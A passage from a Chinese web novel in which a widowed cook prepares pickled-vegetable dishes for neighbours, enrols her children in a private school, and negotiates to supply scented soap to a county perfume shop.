咸菜猪肚汤汤色奶白，猪肚软弹，咸菜酸香开胃，暖身驱寒。 制作咸菜炒肉末的过程相当简单。 首先，将咸菜切碎，并用清水冲洗以去除多余的盐分。 接着，将猪肉剁成细末，加入料酒和生抽，搅拌均匀后腌制片刻。 在锅中加入适量的油，将腌制好的猪肉末放入锅中煸炒至出油，随后加入蒜末和小米辣快速翻炒出香味，再将咸菜倒入锅中继续翻炒。 最后，加入适量的生抽和糖，用大火快速翻炒均匀，撒上葱花即可出锅。 这样烹饪出的咸菜炒肉末，肉末鲜美多汁，咸菜爽脆可口，辣中带甜，与米饭搭配食用尤为开胃。 至于咸菜猪肚汤，汤色呈现出诱人的奶白色，猪肚口感软嫩弹牙，咸菜的酸香更是令人胃口大开，既暖身又驱寒。 第44章 咸菜笋干老鸭煲 几个妇人想了半天还是心痒难耐，女人呸了一声：“这卜媳妇，这里好几个人呢，她看不见吗，只给荔香不给我们，她什么意思啊？” “不会是因为我们之前没有帮过她家还在记仇吧？” 提起这个众人沉默下来，随即又换了个话题。 “不过这香胰子真好用啊，你们看卜家的来的这么晚，没一会儿就把衣服都洗光了，可惜了，如果香胰子能便宜一点我就狠狠心买了。” “谁说不是呢，她刚刚从我身边走过的时候，身上一股香味，可好闻了，你看看咱们得衣服洗这么多遍，都一股子颤味，哎，什么时候我有钱一定也要买一块。” 几人又是羡慕有又是不满，嘟嘟囔囔的谩骂着洗好衣服也走了回去。 卜霜回家后就把洗好的衣服用杆子晾晒起来。 算算日子，咸菜也早就能吃了。 上次腌的咸菜都放在了屋角的阴凉处，卜霜走进摆着大大小小好多坛腌菜的地方，揭开一坛盐菜。 里面的芥菜脆韧，已经变了色，腌汁浑浊，上面飘着辣椒皮和花椒粒，凑近一闻，酵酸扑鼻，果然已经腌渍入味了。 “你干什么呢？” 赵昭明正好过来串门，见卜霜在观察腌菜的状态，也走进一看，立刻就笑开：“咸菜还真的腌好了。” 她之前从来不知道原来芥菜也是可以腌的，而且对比起腌酸菜的时间，咸菜更快就能吃上。 “就是不知道味道咋样，真有你说的比酸菜还好吃吗。” 卜霜眼睛一转，立刻有了想法：“那我今晚就用咸菜做几样新菜给你们试试。” 卜霜的厨艺毋庸置疑，自然是好，只是赵昭明不理解： “这腌菜一般不都是用来就着窝窝，馒头之类的主食吃吗，还能做菜呢？” “那是常规吃法，其实入菜当配菜吃，也别有一番滋味，可以增加菜品风味。” 近些天赵昭明常被卜霜叫过来和她们一起吃饭，渐渐也习惯了，再不会像之前那么局促，只要卜霜隔着墙头一喊，母子俩就急匆匆过来蹭饭。 因此赵昭明只是笑：“大壮这小子今晚又有口福了，自从经常吃到你做的饭后，这小子又胖了不少，你可别再劝他多来一碗饭，该让他减减肥了。” “小孩子身体长得快，等大壮拔起个子来，就苗条了，再说胖些好啊，我就想让我家万路吃得胖些，只是这小子一个劲的长个子，就是不长肉，我十八班厨艺都搬出来了，他怎么还和难民堆里出来的似的。” 她们说着话，万路正好从门口走进来。 两人看了一眼万路，对视一眼就心照不宣的开始咯咯直笑。 万路奇怪的看着娘和赵婶笑的前仰后合：“娘，赵婶你们说啥呢？” “没啥，你回来的正好，去镇上给娘买只鸭子去，再称一斤笋干，记住那鸭子要买老鸭子，你摸那脚掌厚的，胸硬硬的就是老鸭子。” 晚上要做什么菜，卜霜刚才就已经想好了，只是有些食材家里没有，还要去镇上买。 “好。”万路应一声就要回屋里拿钱。 赵昭明忙把他拉住。 “买什么鸭子啊，那玩意多贵，卜妹妹，我以为你只是简单做两口，你做生意忙忙碌碌的多不容易，过段时间还要送孩子们念书，家里处处都是用钱的地方，何不省一省呢？” “不是经常买，这不是头一回吗，不碍事，而且等我做好菜了你尝了就知道了，这个味道绝对值。” “我都想好了，食铺子之后会添许多新菜售卖，我现在也不是为了口腹之欲，多研究研究新菜式，咱自个先尝一尝，你们给我提意见，我也能知道哪道菜能上哪道不上啊，这不也有利于我做生意吗。” 卜霜一双巧嘴，赵昭明也拿她没办法。 她都说了不是因为她自己馋，而是要用这个来赚钱，赵昭明还能说什么。 万路从屋里拿过钱，就急匆匆赶去了镇子上，去买鸭子和笋干。 他一路走的飞快。 娘今晚要做鸭子，他还从来没吃过鸭子是啥味呢，即便万路平时再稳重，这时都恨不得飞过去，早点把东西买回去。 因为今天预计会吃的很丰盛，卜霜让赵昭明提前去把张婶和聂鸿轩都叫过来。 别让他们先吃了饭。 大家一起热热闹闹的。 她顺便也能问问之前让聂鸿轩打听的事。 聂鸿轩母子俩过来不久，万路也赶回来了。 孩子们在院子里玩着打沙包，大人们在屋里聊话家常，夜幕下卜家的灯亮起一片暖烘烘的光。 卜霜着手开始准备晚饭。 她让万路买鸭子回来是准备做一道咸菜笋干老鸭煲。 鸭子众人都没有吃过，它肉质肥嫩但是土腥味很重，镇上做得好的也只有常年火热的醉仙楼。 所以给鸭肉去腥是最重要的一步，那些不会做鸭肉的食铺都不知道的是，鸭子首先要浸泡出血水，然后煸炒出鸭油，这样子的鸭肉才能全无土腥味。 卜霜撸起袖子将鸭子切块，放进冷水里浸泡半个时辰，去掉血水后，然后将鸭子冷水下锅，加姜和料酒，焯水后捞起，之后再用温水洗净。 这样才完成了去腥的第一步。 她把买回来的笋干用淘米水浸泡洗净后撕成条，下水煮一会去掉涩味。 然后把坛子里的咸菜捞出好多些，用清水浸泡着，估摸着取出这道菜要用的分量洗去表面的盐分，然后挤干水分。 所有食材都备好后，接下来就是要做了。 她先在锅里把姜片和白胡椒炒出香味。 然后热锅放油，放入鸭块煸炒，逼出鸭油，直至表皮微黄。 这次要做汤，于是卜霜特意从空间里取出菜籽油，这样炖出的汤会更加浓香。 之后把炒好的鸭块放进另一口锅里，加入沸水没过鸭块，然后放葱和笋干，大火炖煮。 撇去汤表面的浮沫，盖上盖子再炖煮一个时辰，中途加入咸菜。 出锅前再加入枸杞和红枣，撒上一层葱花。 第45章 咸菜毛豆炒猪肚，咸菜虾仁蛋麦饼 咸菜笋干老鸭煲，要长时间炖煮才能炖的汤浓肉烂，把各种食材的味道充分融合起来。 各种步骤都做好了，卜霜先把汤在火上慢慢炖着，紧接着去另一个灶上开始做另一道下饭下酒的炒菜。 咸菜毛豆炒猪肚。 这道菜需要的都是现成的食材。 毛豆她之前在大棚蔬菜地里种下，现在已经长出了好多，正待消耗。 猪肚就更不用说，每天卤下水都会清理好些猪肚出来。 卜霜先拿出清理好的一堆猪肚，她把猪肚切成细丝，紧接着加入生抽，料酒和淀粉，抓匀之后倒入一点油来锁住水分，放在一旁腌一会儿。 毛豆焯水时，在水里加入对一点点的盐和油，可以保持毛豆翠绿的颜色。 锅里多多的放一些油，然后把猪肚丝滑进去快速翻炒直到猪肚变色。 之后爆香蒜末，姜末和干辣椒，把咸菜放进去煸炒，加糖提鲜。 再把毛豆放进去翻炒，炒一会儿后再倒入先前盛出来的猪肚丝，加白胡椒粉提味。 翻炒的差不多后，淋少许香油就可以出锅装盘了。 闻一口鲜香麻辣。 咸菜毛豆炒猪肚在卜霜家乡是有名的下酒菜，虽然他们没人喝酒，但是这道菜配米饭和面条吃，也是非常下饭的。 下饭的菜已经出锅了怎么能没有主食呢。 卜霜舀了好多米，淘米倒水后开始蒸米饭。 下面要做的是卜霜自己研发的菜品，叫咸菜虾仁蛋麦饼。 听名字就知道，这道菜里有咸菜，虾仁和鸡蛋。 厨房的水缸里养着好些万路他们之前从河里抓回来的虾，正好能做。 她从窗户望出去，四个小崽子正玩在兴头上，沙包在他们手里就没落过地。 这么开心，就不打扰他们了，她自己处理虾吧。 卜霜用笊篱捞出好些活虾，先用剪刀剪去虾头虾须和虾脚，然后用拇指和食指捏住虾壳，向尾部轻轻一推，轻松剥离虾壳。 接下来挑出虾线，用清水冲洗后，就剩下晶莹剔透的虾仁了。 她如法炮制，清理出足够量的虾仁，然后开始和面。 面粉里加盐，倒入温水搅成絮状，然后加入猪油揉成一团光滑的面团后，在面团上盖上湿布放在一旁醒发。 趁此期间，卜霜开始调面饼里面的馅。 她先把把猪肉剁成馅，咸菜煸炒去掉多余水分。 然后锅里加油，爆香干辣椒，之后把猪肉末放入，抄到肉末变色后，放入咸菜和虾仁，撒上白糖，胡椒粉，将所有食材一起翻炒均匀，最后淋上香油，面饼里的馅就做好了，之后把馅盛出晾冷。 醒发后的面团分成几份大剂子，搓圆后压扁用擀面杖擀开。 然后用勺子舀一勺抄好的馅料，放入面皮中心，一边塞一边收口，直到捏紧面皮。 将收口朝下放到案板上，用手将包了馅料的面团重新压扁，然后用擀面杖轻轻的擀成饼。 之后在锅里刷一层薄油，灶火调整到小火后就可以把面饼放进去开始烙饼了。 烙到饼子一面微微发黄后用铲子把它翻个面，直至煎到饼的两面都变得金黄酥脆后，取出鸡蛋打散，用筷子在饼子的边缘戳一个小孔，倒入蛋液。 再烙一会儿，咸菜虾仁蛋麦饼就做好了。 眼看大米也快要熟了，卜霜擦擦手，开始招呼人进屋吃饭。 张氏，赵昭明和聂鸿轩在炕上边喝茶边聊天，她们俩聊的其乐融融，时不时一阵哄笑，聂鸿轩拿着一本书看的聚精会神，只不过时不时的咳嗽两声。 也许是他看到了什么有意思的东西，也许是灯火凑的太近，他平日稍显冷峻的眉眼在灯在变得柔和温润，分外好看。 聂哥儿看上去怎么比前几天清减不少。 卜霜皱皱眉。 突然想起之前村里人传聂鸿轩身有顽疾。 她确实时不时能听到聂鸿轩咳嗽，只是和他相处的这些日子，他都表现的和正常人无异。 她一时间之竟然忘了这回事。 难道聂鸿轩真有什么隐疾？ “霜丫头真是麻烦你了，一个人做这些菜累坏了吧，我就说不来了，这昭明丫头非拽着我的胳膊把我给带来，帮又帮不了你，来这么一大家子人多给你添乱啊。”张氏看到卜霜，温和的笑道。 咕噜咕噜地喝下一杯水后，卜霜摆摆手：“张婶，你这就太过见外了，前几日我跟赵姐姐一起腌制了一些咸菜，今天看它们腌制得差不多了，我就想拿来多做些菜试一试味道，做出来的菜多了，我们自己也吃不完，还不如大家一起来过来吃，省了做饭的功夫，也能聚一聚不是。” “咸菜？” “张婶，这方法其实是卜妹妹想出来的，这咸菜是用芥菜腌制的，方法简便，而且啊只需要三五天就能吃了，比腌酸菜不知道快了多少呢。”赵昭明帮着解释。 她一边说还一边去厨房拿出一小盘腌好的咸菜给张氏看。 张氏低头闻了闻，眼睛一亮，很是惊喜：“哎呦，原来腌菜还有这等巧妙法子，我听都没有听过，前段时间聂哥儿就说想吃酸菜，我想这酸菜怎么也要腌几个月才行啊，现在想吃也吃不到呢，早知道还有这解馋的好办法，我就也腌一坛子了。” “不用那么麻烦，酸菜，咸菜我和赵姐先前都腌了不少，满满当当好几坛子呢，酸菜还要十多天才能腌好，先在我这儿搁着，咸菜你们待会儿走的都带上一坛子。” 卜霜知道她肯定不肯收，又笑着多加了一句。 “你们今天要是不来，我还发愁要怎么送过去，那一坛子咸菜重的很，我可拿不动，还好来了，吃完饭正好带上走。” “哎呦你这孩子。”张氏笑着看着卜霜。 卜霜之前就隔三差五做了什么好的总会给她送过来，有时是自己来，忙的时候也会让万辽送来。 现在连腌咸菜这样的小事都惦记着她，张氏只觉得心里暖洋洋的。 第46章 观澜私塾 “好好好，那我就不客气了。”张氏只好应承下来。 众人来到饭桌上，满满当当围着桌子坐了一圈。 晚饭已经都摆在了桌子上。 咸菜笋干老鸭煲，咸菜毛豆炒猪肚和一盘咸菜虾仁蛋麦饼，锅里的大米正在热腾腾的冒着热气。 每份菜都份量都很大。 “万辽你吃多少大米？”卜霜依次给每个人碗里盛大米。 问到万辽，他十分夸张的张开双手比划：“我要这...么多！” 卜霜点他额头，“平时饿着你了啊，吃这么多，小心一会儿你走都走不动道。” “还不是娘做的菜太香了，我要是还有一个肚子就好了，就能再多装一些。” 这样的童言童语把大家伙逗得直乐，卜霜也笑，不过最后还是只给他挖了半碗米。 “吃完再盛，晚上吃的多会积食。” “哦。”万辽只能苦哈哈的拿过碗。 “鸭子大家平日都吃的少，这次尝尝我做的这老鸭汤，最适合冬天滋补身体了。” “孩子们都多喝一些，驱寒暖身，张婶你也多喝。” 这老鸭煲色香味俱佳，鸭肉酥烂脱骨，笋干吸满了汤汁，变得柔韧耐嚼，因为加入了咸菜，鸭汤的鲜香又多了一层酸咸的口味，咸菜的咸香与笋干的鲜美完美地融入了老鸭的肉质之中，让人喝过之后浑身冒汗，但是还想再来一碗。 众人捧着碗，香的舌头都恨不得吞下去。 “烫烫烫。” 小万萱去抓麦饼，被烫的皱起脸，指头捂在耳垂上惨叫。 卜霜哭笑不得的拉过她的小手轻轻呼气：“娘用铁锅刚烙出来饼，你也敢直接用手拿。” 热乎乎刚出锅的饼子是最好吃的时候，所以她特意留到最后烙的。 谁想到小万萱胆子这么大。 赵昭明立刻出马。 她稳稳当当的拿起一张麦饼撕成两半，一半放到小万萱碗里，一半随口咬了一口。 一口下去，眉毛都扬起来了。 咸菜虾仁蛋麦饼的饼皮酥脆，内馅鲜美，虾仁的鲜嫩与蛋的香滑在咸菜的衬托下非常突出，外酥里嫩，赵昭明好吃的直哼哼。 卜霜给咸菜毛豆炒猪肚的盘子里干脆放了一把勺子，让人把它舀在米饭里拌着吃。 这道菜又辣又咸，十分开胃，和在大米里一起吃，咸菜咸香，毛豆清新，再配上猪肚的嚼劲，让人只是闻着，口水就已经在嘴里打转了。 不知不觉间，众人添了一碗又一碗米饭，嘴里塞得满满的，说话也含糊不清。 这顿饭下来老鸭煲醇厚，咸菜毛豆炒猪肚鲜香，麦饼酥脆，没一会儿，盘子就见了底。 万辽把盘子里最后一点咸菜渣渣都要刮干净。 见过众人干饭水平的卜霜并不惊奇这速度。 只是让她没想到的是，全场最能吃的居然是张氏。 她腮帮子塞得鼓鼓的，吃了最后一点饭后，张氏用帕子擦擦嘴角，又恢复了平日的优雅温和。 见卜霜和赵昭明都在看她，她张嘴要说什么，一开口却先打了一声嗝。 “噗...” 这下所有人都憋不住捧腹大笑起来。 饭后，卜霜让万路把沙包拿出来，大家一起玩一会儿消消食。 聂鸿轩不知道是不爱动还是身体原因没有和大家一起玩，在屋里继续看书。 卜霜进去找他。 灯光下他安安静静的坐着，让人感到宁静。 听到动静，他抬眼：“你来了。” 那从容的样子，让卜霜一时间之间产生了一种他才是这屋子的主人的感觉。 “怎么样，有合适的吗？” 之前聂鸿轩来监工的时候，她有托聂鸿轩帮忙去打听私塾学院的消息，也让他帮着挑一挑。 毕竟聂鸿轩一看曾经就是读过书的，对这个时代的私塾好不好他肯定是更了解的。 聂鸿轩把书合上：“书院只收十五岁之上的学生，而且必须是通过童试的童生，万路万絮他们如果想念书只能读私塾，之后通过童试后再进书院继续读书，不过万路聪明，只要在私塾启蒙之后就可以准备童试了。” “镇里的私塾有几家，我都去过之后觉得其中一家观澜私塾还不错，教书的夫子是举人出身，今年才开了私塾收学生，你也知道这里的举人不多，不过我和他见过面，这个夫子学问很不错，如果他继续钻研，就是进士也未必不能，足够教万路他们了。” 聂鸿轩这几日去把镇上所有的私塾都跑了一遍，每个夫子都见过面，仔细观察其人，又和附近的人打听，把他们摸得清楚很透彻。 卜霜也没有想到聂鸿轩这么负责，愣了愣，然后才继续问： “那去观澜私塾念书，每月的束脩要多少？” “五两银子。” “好贵啊。”正好这时赵昭明被沙包打到淘汰下场，趴在窗户上听到他们聊到这，倒吸了一口气。 卜霜却是点点头，这样的学问，还是举人办的私塾，要这么多银子是应该的。 她相信聂鸿轩的推荐，于是想也不想直接定下： “就去这里吧，入学有什么流程吗？” “学生入学前要进行入学测试，方便夫子了解学生水平，水平太差的不收，不过夫子也知道这里的孩子们出身，所以测评不会很难。” 观澜私塾在镇东，周围很安静，私塾也很大，方便学生读书，如果离得太远的学生，私塾可以管一顿午饭。 卜霜抬头问赵昭明意见。 赵昭明想了想： “既然卜妹妹也觉得这里好，那就送孩子们到这里吧，不过每月束脩五两银子，你真的不再多想想吗，这可不是一笔小数目。” 五两银子，家里四个孩子都要读书，那每月就要二十两银子，这样的一笔开销要是放在从前还没有开食铺的时候那敢都不敢想。 即便现在生意火爆，也几乎会花光每月的所有盈利。 卜霜很坚定：“万路万絮万辽和万萱都是很聪明的孩子，之前是我耽误了他们，尤其万路，他作为大哥现在还没有开蒙，如今的一笔好字和一手好珠算居然都是靠偷听讲课学来的，我想的很清楚，不管多少银子我都必须送他们念书，只要他们想继续学下去，我就一直给他们供下去。” 第47章 卖香胰子 “大不了就全家一起吃糠咽菜嘛。”卜霜耸耸肩，开起玩笑，“凭我的手艺，就算是糠咽菜一定做的也比别家做的好吃。” 赵昭明被逗笑：“凭你这丫头一会儿一个主意，能被饿到去吃糠咽菜？我看你要是再勤快点，不久都能在镇上买大宅子了。” 聂鸿轩坐在那里，看向卜霜的目光闪动。 在武安村甚至镇里的人家，像赵昭明这样的想法才是大部分人正常的反应，可卜霜居然那么平静的就说出只要孩子想念书，她会一直供下去这种话。 她不知道，这种话对于一个渴求读书的人来说有多么的震动。 院里打沙包的游戏正好分出了一轮胜负，卜霜索性把所有小孩都叫到了窗户底下，向他们宣布了这个消息。 孩子们之前连能念书都是不敢想的，从没想到有一天，他们居然能被举人教导。 都愣住了。 “观澜私塾是连举人创办的，除此之外他还请了好几位先生，连举人只收资质最好的一批亲自教，其余资质的由下面的几位先生分别教。” “连举人喜欢聪明的学生，入学时会测试你们的水平的，趁着这些天，每天空闲的时候多跟着你们万路哥多认几个字，别到时候入学时一个个的还是大文盲，小心连举人不收你们。” “娘，我和万萱也能去吗，真的吗？”万絮眼睛有些红，她没想到期待已久的这天真的要实现了。 万路喜欢念书，毕竟村里没有哪户人家会将女孩子送去念书。 就是卜霜之前再三提了会送他们四个一起念书，还给她也买了纸笔，可是万路都不敢真的去奢望。 卜霜注意到了万絮的情绪，摸摸她的头。 “当然了，我们卜家的孩子一个都不能落下，就算女孩子将来不能科考，不能考取功名入朝当官，可是你们依旧可以识文断字，能写文章会算账簿这才是真本事，而且只有长了见识，你们才会知道自己想要的路是什么。” 万路点头，他很支持娘的想法。 这个时代女孩子的路要比男人更难走，看村里就知道，村里的女孩一及笄立刻就嫁去别家做人妇，甚至好些女孩子只有八九岁的时候就已经许了人家，更不要提好些人卖女只为换几袋袋粮食，能卖去大户人家做丫头都算是女子很不错的出路了。 他的妹妹们可不能走这样的路，只有读了书，她们以后才能大有作为。 “当然，娘花了这么多银子，你们要是去了私塾不好好读书，那我可会狠狠地打你们屁股，让你们屁股都开花，做红烧鸡屁股吃。” 卜霜故意装得恶狠狠的。 可如今就算她装出凶神恶煞的模样来，四个小崽子也浑然不会害怕了。 万辽蹦起来，撅起屁股扭了扭：“我会好好念书的，因为我的屁股肉少，做起菜来不好吃。” “娘你要做做大壮哥的，他胖，屁股上都是油。” 大壮跳起来就去抓万辽，两个人围着赵昭明转圈，你追我跑的打闹起来。 聂鸿轩看着眼前这温馨的场面，眼里流露出一些笑意来。 他居然笑了，这可不常见。 卜霜有些纳罕的瞧着他。 “我家里有几本用过的字帖，明日给你送来，让万路他们没事的时候照着描一瞄，还有如果万路他们入了私塾后课后有什么不懂的，可以来找我。” 聂鸿轩话很少，但每次却总是细致入微，细心起来简直让人如沐春风。 卜霜笑着点头。 聂鸿轩站起身：“时间不早了，你们早些歇息，我们这就该走了。” 赵昭明一把抓住疯跑的大壮：“卜妹妹，我们也回去了。” 卜霜点头，将他们送出门外。 万路万辽万絮和万萱晚上用香胰子把身上洗的香喷喷的，钻进被窝里迅速沉入了梦乡。 嘴角还挂着甜笑。 之后几日，卜霜一边按时去卜记食铺卖卤味，回家后做香胰子，万路这些天又做出不少不同形状的模具，她做香胰子的效率也大大提升，很快就囤了一些货。 这日卜霜用小包包了一些香胰子，叫上万路和万絮两个，就出门去了。 她这次要去县里做一笔大生意。 “娘，我们这些香胰子要拿去哪里卖啊？”万絮有些忐忑，这是她第一次去县里。 这个卜霜早就想好了：“我们进了县里后，直接去找里面最大的香铺，剩下就看娘的。” 她打听过了，县城最大的香粉铺子是芳华阁。 那是一座坐地很大，建有两层的店铺。 卜霜一行到了时，看到芳华阁的人流很多，而且出入俱是一些打扮的富丽堂皇的女人，好多人身边都有丫鬟陪同，丫鬟手里提着买好的包裹，一看就是有钱人家的家眷。 不愧是县城，有钱人遍地都是。 和镇里完全不同。 铺子前的树上拴着好多马车，门口有小厮看管着。 万絮万路还没有见过这种场面，一时都有些局促，县城原来是这样的，比起镇上来实在太豪华贵气了。 这就是富贵地方啊。 万絮不自觉的开始整理衣服。 他们三人的衣服在镇上已经算是很时兴好看的了，但是在这里却显得格格不入。 卜霜看出万絮的紧张，握住她的手对她笑了笑，一行人进了香粉铺子里。 一进去就闻到芳华阁里淡雅的香气，一点不浓艳，而是高级馨香，沁人心脾的。 光从这空气里的香味就能得知这芳华阁品味果然不凡。 很好，卜霜找的就是这种地方。 她们先踱步把铺子里卖的胭脂香粉都看了一遍，了解的差不多了。 卜霜叫住一个伙计。 “你们铺子的香胰子在哪里。” 伙计没有因为他们三人的衣着就有任何敷衍，态度依旧热情，芳华阁的伙计常年接待这些富商官眷，都是有见识的。 “这边请。” 伙计带着他们去了放着香胰子的区域，那柜面上居然放着一整块缎面的丝绸，上面摆了各种形状的香胰子。 居然把丝绸铺在下面来展示香胰子。 第48章 五五分成，如何？ 用丝绸的光泽质感更加衬托出上面售卖的香胰子的价格不菲来。 这是个很好高级的营销方法。 只是一匹丝绸可抵黄金，那是多么贵的东西，用丝绸做配来卖香胰子，这般做法，就是其他商家有心，也实在是没有几家铺子有这个实力能做到。 这芳华阁果真财大气粗。 卜霜心里对这家铺子更加满意了。 她随意扫过一圈台面，台面上摆着的香胰子看起来和镇上那家香铺子里卖的并没有什么不同，看来他们都是从同一个货商手里拿的货。 万絮随便拿起一块圆形的香胰子。 伙计立即介绍道：“姑娘手里这块香胰子六十文一块。” 好家伙，可能是县里有钱人多的原因，物价也和镇上不同，同样的一块香胰子，芳华阁居然卖的比镇里的贵了一倍。 万絮咂舌，立刻把那块香胰子放了下去。 卜霜随意的看过之后，散漫的问伙计：“这些就是全部类型的香胰子了吗？” “我们芳华阁是整个县里最大的香粉铺子，所有货品一应也是最齐全的，夫人去其他店里逛逛就知道了，保准其他店的香胰子都没有我们家的多。”提起这个，伙计颇有些骄傲。 也就是整个县里所有的香胰子款式都在眼前了。 这就好办了。 卜霜立刻对伙计道：“你们掌柜的在吗，我想见你们掌柜。” “这...”伙计有些犹疑。 卜霜从包里掏出一块自己做的香胰子，香胰子用竹子做的皂盒装着，看不清里面是什么东西。 她塞给伙计手里两个铜板，把皂盒递了过去。 “你把这个交给你们掌柜的，让他打开看，我相信你们掌柜看到里面的东西后，很快就会来见我的。” 只是递个东西应该没有什么，伙计接过皂盒子，匆匆的就去了。 果然如她所料，没过一会儿，一个年纪稍长，体型肥胖的掌柜就跑了过来，手里还拿着已经打开的香胰子。 他站定后，扫过面前三人，看到是一个妇人带着两个孩子后，显然有些惊讶，眼神停留在卜霜身上。 “烦问这块香胰子是夫人让伙计带给我的吗？” 卜霜昂首挺胸，在胖掌柜的视线里从容的点点头。 胖掌柜问：“敢问夫人如何称呼，还有这香胰子是哪里得来的，来找我是要做什么呢？” “我姓卜，这是我的两个孩子，你手里的这块香胰子是我做的。”卜霜回答。 “你做的！”胖掌柜实在是没有想到，他瞪大了眼，很是惊讶，不过很快意识就到了他的失态，立刻收回表情。 “掌柜的识货，想必你来见我，决不仅是因为我可以做出香胰子，而是已经看出了我做的这块香胰子和你们铺子里卖的香胰子有什么不同了吧？” 卜霜笑了笑，满眼都是自信，“我做的香胰子要比店里卖的更好用，外形更好看，香味也更好闻，而且乍一看看着就像一块玉雕对不对？” 掌柜的点头，他当时收到伙计送来的东西，拆开时看到里面香胰子的第一眼还以为是什么玉石雕品，直到他摸了一把之后才发现，这块透明色的牡丹雕刻纹样的东西居然是一块香胰子。 而且还有一股浓郁的牡丹香气，就像真捧了一把牡丹在手里一样，只是摸了一把，那味道就在手指头上久久不散。 他大老远从南面进货，没想本地居然有人能做得出来这香胰子，而且比起他进回来的香胰子还要更为惊喜好用。 如果这种香胰子能在芳华阁里出售，那一定是整个县里的香粉铺都无法媲美，来购买的官眷富太太一定络绎不绝。 掌柜的立刻意识到了这块香胰子的商机，于是立刻就跑过来了。 卜霜一眨不眨的看着胖掌柜不断变化的表情，已然猜到了他心里的想法。 “像这样的香胰子，我做了很多，造型和香味都各不相同，而且之后我还可以做出更多造型和香味，现在包里拿来的只不过是其中一部分，明人不说暗话，掌柜，我找你是想和你们芳华阁谈一笔生意。” 胖掌柜眼睛一亮，就是卜霜不说他也要和卜霜谈生意，这么好的商机可不能让给别人：“卜夫人请说。” “我们可以合作售卖香胰子，以后由我来为你们芳华阁供香胰子的货，你们负责出售，如果你也有这个想法的话，我们可以合作。” 合作？ 胖掌柜思忖着，一般供货商虽然也都是和铺子长期供应，但他们将每批货送来之后，都是现场一次性结清，只挣一个减去成本的毛利价钱，并不参与店铺的销售，所以后续店铺的收益和他们毫无关系。 而卜霜既然说了是合作，那就是不是只收取供应货物的毛利，而是直接参与铺子的收益。 这种方法，相当于只是把货品寄放在芳华阁售卖，并不直接属于芳华阁。 以前也有一些商贩和小铺子的掌柜想要把他们的香粉寄放在芳华阁售卖，因为芳华阁的名气，只要他们的东西沾上了芳华阁三个字，就也能身价翻倍摊，他们想要借芳华阁的名气，因此通常都是倒贴钱或者和芳华阁一九分成。 胖掌柜盯着卜霜，眼前女子穿着不算富贵，但是也很讲究得体，整个人身板挺直，自信满满，显然是个很有主意的人。 他可不觉得眼前这妇人要只是这么多。 胖掌柜于是问道：“夫人想怎么合作？” 卜霜眯眼笑道：“我的香胰子供给你们芳华阁出售所得的所有收益，芳华阁和我五五分成，如何？” 胖掌柜眼神颤动。 她也真敢想。 这么初出茅庐寂寂无名的东西，居然敢直接要芳华阁这种大铺子五成的收益。 不过卜霜既然敢说出，自有她敢要的理由。 第49章 六十两银子！ “实不相瞒，我刚才看过了，现在芳华阁里的香胰子和我们小镇上随便一家香粉铺子里的并无任何不同，你们芳华阁年大店，里面售卖的所有胭脂水粉自是整个县里最好的，才能有钱人家的夫人小姐们每次出行首选这里光顾，唯独这香胰子的产线却迟迟和其他铺子拉不出差距，掌柜的想必为此也很是烦恼吧。” 胖掌柜见这妇人居然说的头头是道，不由认真起来，听她继续说下去。 “而且你们从南面进货，路途遥远，每次都要耽搁许久不说，就那车马费恐怕就不菲，而我做的香胰子无论任何方面都比南面的香胰子要好，一旦出售，富太太和小姐们绝对会抢先购买我做的香胰子，我做的香胰子一定会供不应求，最重要的是我的香胰子没有在任何地方售卖过，如果芳华阁和我合作，那你们家就是独一份卖这种香胰子的，无论任何地方的客人要买时只能想到芳华阁，这才是对你们更重要的事，让芳华阁的牌子永远烙印在人们的心里，甚至你们还能反过来侵入南面的市场。” 卜霜慢悠悠喝了一口茶水：“掌柜的可想好了，我的香胰子无论去哪里卖都能赚，可是芳华阁只有和我合作才是对你们最好的选择。” 胖掌柜显然也是听明白其中的利弊，这小小一块香胰子的生意居然涉及这么多隐情。 如她所言，这样品色的香胰子足以掀起一番风浪，可这个风浪必须在他们芳华阁里掀起，也只有他们芳华阁能将抢买香胰子的风浪掀的更大。 胖掌柜内心震荡的想了一会儿，对卜霜说：“卜夫人你们等一下，这个事情我做不了主，要去请示我们东家。” 卜霜面上不显，心中却是暗笑不已，看来胖掌柜已经被说动了，不然他也不会去和他们东家请示。 “这外头冷，夫人和小郎君小娘子随我进来雅间里面坐，贵客们休息片刻，我一会儿就回来。” 掌柜对着卜霜的态度又恭敬了很多，领着他们进了二楼的一间雅间。 他出去后立刻就进来几个伙计，给卜霜上了茶水和点心。 卜霜索性放松的坐在那里享用了起来。 不一会儿雅间的门就被敲了两下，门打开后，胖掌柜的进来然后侧身让路，他的身后站着一个穿着绫罗锦缎的男人。 “这就是我的东家何大爷。”胖掌柜介绍道。 卜霜看了看这满身富贵的中年男人，看着和掌柜差不多年纪，却已经是名震商界的何大爷，据说他手里的产业遍布大江南北，何家不止做香粉生意，酒楼，饭庄也都有涉足，就是不知道是何家的哪位少爷管着。 掌柜的又给何大爷引荐：“大爷，这就是想和我们合作售卖香胰子的卜夫人。” 男人进来后，径直坐在椅子上，伸手给自己倒了杯茶，他目光在卜霜身上一转：“我都听掌柜的说了，香胰子也看过了，很不错，卜夫人如此年轻就能做的出那样的香胰子来，你很有本事。但是夫人，我们芳华阁可不小，我手底下还有不少香粉的分铺子，每天都会卖出许多香胰子，你们有几个人做香胰子，可能供得起我需要的货？如果我听你的，从此之后售卖你做的香胰子，可是你不能按时交货的话，我芳华阁的名声岂非要被毁掉。” “何大爷那您想如何？” 何大爷既然听了胖掌柜说了来龙去脉，还是来见了她，就说明这些事情他提前都想过了，但是还是想和她合作，那他一定有什么打算，所以卜霜也不着急。 男人沉吟了一会儿：“这样吧，卜姑娘先给我做出一批货来，如果你们能在日期之前全部做出来，那你提出的合作的事我想我们就可以坐下好好谈一谈。” 他的意思很明显，如果不能在规定日期之内把香胰子都做出来，那合作的事就免谈了。 “您要多少？”卜霜问。 “我要三千块香胰子。” 三千块！ 万路和万絮对视一眼，很用力掩藏才没把震惊摆在脸上。 他们是来和娘谈生意的，娘说过对面这些商人都是很精明的，他们不能让对面看出什么，否则香胰子就卖不了好价。 可是这几天卜霜一共只做了一百多块香胰子，这还是她每日卖好卤味后不眠不休才做出来的。 三千块这要做多久啊？ 卜霜只是略微想了一想就一口答应了：“可以，何大爷要什么时候交货。” “一周后吧，我正好把店里剩余的香胰子都出售了。”赵大爷道。 一周。 这么短的时间就要做出三千块香胰子？ 这简直是天方夜谭。 可卜霜只是略微皱了皱眉，就点头应下：“好。” 